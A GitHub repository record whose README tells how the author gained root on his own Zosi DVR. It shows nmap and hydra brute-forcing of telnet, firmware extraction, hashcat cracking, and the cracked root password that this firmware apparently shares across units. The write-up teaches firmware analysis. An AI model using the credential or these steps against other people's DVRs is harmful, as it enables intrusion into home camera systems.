{"id":22799184,"url":"https://github.com/dhammon/zosi-hack","last_synced_at":"2026-03-19T23:42:58.721Z","repository":{"id":176302155,"uuid":"655295737","full_name":"dhammon/zosi-hack","owner":"dhammon","description":null,"archived":false,"fork":false,"pushed_at":"2023-06-18T14:17:54.000Z","size":275,"stargazers_count":15,"open_issues_count":0,"forks_count":1,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-02-05T21:43:23.944Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/dhammon.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-06-18T13:31:45.000Z","updated_at":"2025-01-22T23:46:37.000Z","dependencies_parsed_at":null,"dependency_job_id":"1c8cb6b5-8026-4602-b45f-3929a75dac88","html_url":"https://github.com/dhammon/zosi-hack","commit_stats":null,"previous_names":["dhammon/zosi-hack"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dhammon%2Fzosi-hack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dhammon%2Fzosi-hack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dhammon%2Fzosi-hack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/dhammon%2Fzosi-hack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/dhammon","download_url":"https://codeload.github.com/dhammon/zosi-hack/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246365650,"owners_count":20765549,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-12-12T07:08:14.663Z","updated_at":"2026-01-08T10:32:08.542Z","avatar_url":"https://github.com/dhammon.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Hacking the Zosi Camera DVR\n\n![](files/Pasted%20image%2020230617191751.png)\nhttps://www.amazon.com/ZOSI-channels-Security-Detection-Recorder/dp/B00KX00DVI/\n\n**TL/DR**\n\nI never really felt like the owner of my Zosi H.264 DVR security system since I didn't have the credentials to login to its listening telnet port.  I attempted to bruteforce access over the network using hydra but had no luck.  Next I downloaded the DVR's firmware, extracted the file system, and found root's encrypted password.  I spent four days trying to crack the password and finally succeeded using rockyou and hashcat's dive rule set on the 4th day.  Using the cracked password I was able to telnet into the DVR as root.  Now that I have root access, I'm a proud pwner of the Zosi H.264 DVR!\n\n**The Journey**\n\nMy dad purchased a Zosi H.264 720p DVR camera system as a holiday gift for me some time ago.  He was gracious enough to come over and assist me with installing the cameras and fishing the power and data lines through the attic to my network rack.  It was a long dusty day of crawling through my home's attic but we were successful and I had a new security camera system to catch all the happenings around my home.\n\nThe manufacturer of the camera system offers a desktop and a mobile application to remotely view various cameras.  I wasn't too keen on remotely accessing the video footage at any time so I opted not use the applications in favor of connecting a monitor to the DVR and viewing the closed feed whenever needed.  \n\nOut of curiosity, I connected the DVR on my network and ran an `nmap` scan.  The scan quickly discovered port 23 telnet was open.  Telnet is an unencrypted remote access service which could grant me a terminal on the DVR if I had the credentials.\n\n```bash\ndaniel@daniel-desktop:~$ nmap -A 192.168.3.138 -p-\nStarting Nmap 7.80 ( https://nmap.org ) at 2023-06-17 18:55 PDT\nNmap scan report for 192.168.3.138\nHost is up (0.0093s latency).\nNot shown: 65534 closed ports\nPORT   STATE SERVICE VERSION\n23/tcp open  telnet  security DVR telnetd (many brands)\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 3.66 seconds\n```\n\nMy enthusiasm was quickly displaced when I discovered that no credentials were provided with the documentation or otherwise published on the internet.  Naturally, I was inclined to find the credentials!\n\nSending an ICMP `ping` to the DVR revealed a time to live (ttl) of 63 hops suggesting the DVR is running a Unix/Linux operating system.  Assuming so would probably have been a safe guess regardless, but with this information I would know that the root account would likely be a valid telnet user target.\n\n```bash\ndaniel@daniel-desktop:~$ ping 192.168.3.138 -c 1\nPING 192.168.3.138 (192.168.3.138) 56(84) bytes of data.\n64 bytes from 192.168.3.138: icmp_seq=1 ttl=63 time=1.24 ms\n\n--- 192.168.3.138 ping statistics ---\n1 packets transmitted, 1 received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev = 1.235/1.235/1.235/0.000 ms\n```\n\nThinking that the password may be very simple, I attempted guessing a few commonly used passwords.  My guessed passwords were \"blank\", root, admin, zosi, and a handful of others before giving up and deciding to automate the effort using `hydra` network bruteforcing tool.\n\n```bash\ndaniel@daniel-desktop:~$ telnet 192.168.3.138\nTrying 192.168.3.138...\nConnected to 192.168.3.138.\nEscape character is '^]'.\n\n(none) login: root\nPassword: \nLogin incorrect\n(none) login: root\nPassword: \nLogin incorrect\n(none) login: root\nPassword: \nLogin incorrect\nConnection closed by foreign host.\n```\n\n`Hydra` is great for network authentication bruteforcing attacks but requires a password list.  Because network attacks can be somewhat slow I went for a shorter list `xato-net-10-million-passwords-100.txt` from Daniel Miessler's awesome [SecLists repository](https://github.com/danielmiessler/SecLists).\n\n```bash\ndaniel@daniel-desktop:/$ hydra -l root -P /tmp/xato-net-10-million-passwords-100.txt 192.168.3.138 telnet\nHydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n\nHydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-17 19:11:04\n[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:1/p:100), ~7 tries per task\n[DATA] attacking telnet://192.168.3.138:23/\n1 of 1 target completed, 0 valid passwords found\nHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-17 19:11:31\n```\n\nZero hits, another bust!  It was time for a firmware hacking approach.  John Hammond recently published a `Getting Started in Firmware Analysis \u0026 IoT Reverse Engineering` [YouTube Video](https://www.youtube.com/watch?v=zs86OYea8Wk) where he demonstrates sourcing and extracting an IoT's filesystem from firmware to grab encrypted passwords from the shadow file for cracking later.  Drawing inspiration for John's video, I first needed to find the firmware that was running on the DVR.  To find the version of the firmware I used the DVR's User Guide on the Amazon listing page for the device. Section 9 of the user guide proudly display's instructions on how to upgrade the DVR and an example firmware version `rootfs-hi3520d`.\n\n![](files/Pasted%20image%2020230617194127.png)\nhttps://m.media-amazon.com/images/I/C1WFUEYWqzS.pdf\n\nA search on Zosi's Support site for the rootfs-hi3520d file yielded a support article and download link.  I downloaded the firmware and ran the `file` command which displayed a hirootfs file system.  \n\n```bash\ndaniel@daniel-desktop:/tmp$ file rootfs-hi3520d \nrootfs-hi3520d: u-boot legacy uImage, hirootfs, Linux/ARM, Filesystem Image (any type) (Not compressed), 11648276 bytes, Tue Dec 22 03:26:43 2015, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x35576305, Data CRC: 0xA18D7037\n```\n\nNext, I unsuccessfully tried extracting the file system from the firmware file using `binwalk`.  Nonetheless, `binwalk` identified a header in the first 64 bytes and a jffs2 file system in the remaining of the byte range.\n\n```bash\ndaniel@daniel-desktop:/tmp$ binwalk -e rootfs-hi3520d \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             uImage header, header size: 64 bytes, header CRC: 0x35576305, created: 2015-12-22 03:26:43, image size: 11648276 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xA18D7037, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: \"hirootfs\"\n64            0x40            JFFS2 filesystem, little endian\n```\n\nEven though `binwalk` didn't extract the file system, I could use `dd` to specifically carve out the byte range desired.  Running `dd` did the trick as I extracted just the jffs2 section of the firmware file into a file named `system.jffs2` and confirmed the jffs2 file type using the `file` command.\n\n```bash\ndaniel@daniel-desktop:/tmp$ dd if=rootfs-hi3520d of=system.jffs2 skip=64 bs=1\n11648276+0 records in\n11648276+0 records out\n11648276 bytes (12 MB, 11 MiB) copied, 14.4728 s, 805 kB/s\ndaniel@daniel-desktop:/tmp$ \ndaniel@daniel-desktop:/tmp$ \ndaniel@daniel-desktop:/tmp$ file system.jffs2 \nsystem.jffs2: Linux jffs2 filesystem data little endian\n```\n\nWith the files system extracted, I needed to view the system files by mounting the system.  I could achieve this using the [jefferson](https://github.com/sviehb/jefferson) tool.  After installing `jefferson` and its dependencies, I ran the tool on the system.jffs2 file which mounted all files into a jffs2-root directory in the current folder.\n\nJefferson installation:\n```bash\nsudo apt install python3-pip git python3-lzo\nsudo pip3 install cstruct\ngit clone https://github.com/sviehb/jefferson\ncd jefferson/\npython3 setup.py install\n```\n\nMounting the jffs2:\n```bash\ndaniel@daniel-desktop:/tmp$ sudo jefferson system.jffs2\ndumping fs to /tmp/jffs2-root (endianness: \u003c)\nJffs2_raw_inode count: 1201\nJffs2_raw_dirent count: 1201\nwriting S_ISDIR bin\nwriting S_ISDIR boot                                  \nwriting S_ISDIR dev\nwriting S_ISDIR etc\n[...snip...]\nwriting S_ISLNK usr/sbin/telnetd\nwriting S_ISLNK usr/sbin/udhcpd\nwriting S_ISDIR usr/share/udhcpc\nwriting S_ISREG usr/share/udhcpc/default.script\nwriting S_ISDIR var/run\nwriting S_ISREG var/run/utmp\n----------\n```\n\nNow that the jffs2 file system was mounted in jffs2-root directory, I  began exploring if this firmware had a shadow or passwd file that could contain the telnet user and encrypted password.  Running `ls` gave me an overview of the file system.\n\n```bash\ndaniel@daniel-desktop:/tmp/jffs2-root$ ls -la\ntotal 108\ndrwxr-xr-x 21 root root  4096 Jun 17 20:32 .\ndrwxrwxrwt 26 root root 20480 Jun 17 20:32 ..\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 bin\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 boot\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 dev\ndrwxr-xr-x  6 root root  4096 Jun 17 20:32 etc\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 hitoe\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 home\nlrwxrwxrwx  1 root root     9 Jun 17 20:32 init -\u003e sbin/init\ndrwxr-xr-x  3 root root  4096 Jun 17 20:32 lib\nlrwxrwxrwx  1 root root    11 Jun 17 20:32 linuxrc -\u003e bin/busybox\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 lost+found\n-rwxrwxrwx  1 root root   431 Jun 17 20:32 mknod_console\ndrwxr-xr-x  4 root root  4096 Jun 17 20:32 mnt\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 nfsroot\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 opt\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 proc\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 root\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 sbin\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 share\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 sys\ndrwxr-xr-x  2 root root  4096 Jun 17 20:32 tmp\ndrwxr-xr-x  6 root root  4096 Jun 17 20:32 usr\ndrwxr-xr-x  3 root root  4096 Jun 17 20:32 var\n```\n\nAnd listing files in the file system's etc folder reveals passwd file.  I used `cat` to dump the file contents which displayed the only user on the system as root and the encrypted password `$1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/`!  Usually a shadow file would contain the encrypted password, but I'm not complaining.\n\n```bash\ndaniel@daniel-desktop:/tmp/jffs2-root$ cat etc/passwd\nroot:$1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/:0:0::/root:/bin/sh\n```\n\nI explored the rest of the file system for other secrets but it didn't turn up anything meaningful.  With the encrypted password in hand, I fired up my local cracking box which isn't anything more than a physical consumer grade computer with an RTX 3060 graphics card.  I started with a bruteforce attack using `hashcat` configured to try every combination of digits, uppercase, lowercase, and special characters.  This would be much faster and more efficient then using `hydra` network attack as my graphics card could try many combinations at once and not have any network overhead.  `hashcat` works by encrypting the guessed password and compares the results to the target password.  If there is a comparable match, the password becomes known or cracked.\n\n```bash\nhashcat -a 3 -m 500 -O -w 3 -1?l?u?d?s ?1?1?1 zosi.passwd\n```\n\nAfter a full day of running, `hashcat` incremented to 7 character attempts that were estimated to take 30 days of runtime.  Because 30 days was too long, I re-calibrated the tool to bruteforce only common special characters.  This new calibration of 7 characters with a limited special character set would consume 3 full days of running.  \n\n```bash\nhashcat -m 500 zosi.passwd -a 3 -1 '!@#$%/.' -2?u?l?d ?2?2?2?2?2?2?2?2?2?2 -i -w 3 -O --increment-min=7\n```\n\nAfter 3 long days of  password cracking 7 characters, all combinations were exhausted and 8 characters were going to take another 30 days.  30 days definitely exceeded my interest in this project so I decided to turn to a `hashcat` wordlist approach using rockyou.txt with the dive rule set.  The rockyou file contains about 14 million passwords from a data breach back in 2009.  14 million passwords might sound like a lot but it is grossly insufficient and only takes a few minutes to try every password in the list.  But you can extend that list by using hashcat's dive rule set which mutates each password in the list with hundreds of rules like adding a couple digits to the end of the password or changing the letter \"s\" to a dollar sign.  Rockyou with the dive rule set brings the total attempts from 14 million to about 1.5 trillion and would demand a full day of runtime to complete.  I fired it off and went to bed.  \n\n```bash\nhashcat -m 500 zosi.passwd wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w 3 -O\n```\n\nThe next morning I checked the status of the rockyou+dive rule set and bingo, password cracked!!\n\n```bash\n\n$1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/:asj1234asj    \n                                                 \nSession..........: hashcat\nStatus...........: Cracked\nHash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)\nHash.Target......: $1$Zvj.IvRb$7g3anRUwEV0tiP//JNqAh/\nTime.Started.....: Sat Jun 17 20:53:56 2023 (1 hour, 17 mins)\nTime.Estimated...: Sat Jun 17 22:11:49 2023 (0 secs)\nGuess.Base.......: File (wordlists/rockyou.txt)\nGuess.Mod........: Rules (/usr/share/hashcat/rules/dive.rule)\nGuess.Queue......: 1/1 (100.00%)\nSpeed.#1.........: 10086.7 kH/s (83.04ms) @ Accel:64 Loops:500 Thr:1024 Vec:1\nRecovered........: 1/1 (100.00%) Digests\nProgress.........: 47823846768/1421327633024 (3.36%)\nRejected.........: 647626096/47823846768 (1.35%)\nRestore.Point....: 0/14344384 (0.00%)\nRestore.Sub.#1...: Salt:0 Amplifier:25708-25709 Iteration:500-1000\nCandidates.#1....: 1231234456 -\u003e dus1234hleepapp\nHardware.Mon.#1..: Temp: 71c Fan: 69% Util:100% Core:1920MHz Mem:7300MHz Bus:16\n```\n\nIt was finally time to find out if all this effort had been worth it by attempting to telnet into the DVR with the cracked password of the root user.  I launched `telnet` from my desktop, entered the username and password, and I got a \"Welcome to HiLinux\" message.  I was in and for the first time I felt like I truly pwned this DVR!  \n\n![](files/Pasted%20image%2020230617205626.png)\n\nThank you for reading through this journey with me.  I hope you found some inspiration and learned something new.  On to the next one!\n\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdhammon%2Fzosi-hack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdhammon%2Fzosi-hack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdhammon%2Fzosi-hack/lists"}